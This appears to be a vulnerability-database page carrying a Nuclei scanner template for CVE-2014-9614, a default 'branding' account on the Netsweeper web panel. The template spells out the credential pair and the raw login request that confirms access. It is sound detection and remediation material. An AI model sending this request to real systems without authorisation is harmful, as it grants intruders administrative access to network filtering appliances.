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Netsweeper 4.0.5 - Default Weak Account

🗓️ 17 Jun 2026 05:14:44Reported by ProjectDiscoveryType 
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Netsweeper 4.0.5 Default Weak Account, CVE-2014-9614 fi

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Netsweeper 2.6.29.8 - SQL Injection Vulnerability
13 Aug 201500:00
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CVE-2014-9614
19 Feb 202019:56
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Cvelist
CVE-2014-9614
19 Feb 202019:56
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NVD
CVE-2014-9614
19 Feb 202020:15
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Prion
Default credentials
19 Feb 202020:15
prion
id: CVE-2014-9614

info:
  name: Netsweeper 4.0.5 - Default Weak Account
  author: daffainfo
  severity: critical
  description: The Web Panel in Netsweeper before 4.0.5 has a default password of 'branding' for the branding account, which makes it easier for remote attackers to obtain access via a request to webadmin/.
  impact: |
    An attacker can gain unauthorized access to the Netsweeper 4.0.5 system using the default weak account.
  remediation: |
    Change the default credentials to strong and unique ones.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9614
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-9614
    cwe-id: CWE-798
    epss-score: 0.66638
    epss-percentile: 0.9919
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,default-login,packetstorm,xss,vuln

http:
  - raw:
      - |
        POST /webadmin/auth/verification.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/webadmin/start/

        login=branding&password=branding&Submit=Login

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Location: ../common/'
          - 'Location: ../start/'
        condition: or

      - type: word
        part: header
        words:
          - 'Set-Cookie: webadminU='

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100eb255811ad8b4d03501a49c83b39b11dd3c0355af1d470b5ac17759e64146d97022100ce4808da235ba61783b4db269b5e074f840c133b49d6e26a0db089ffc014face:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.66638
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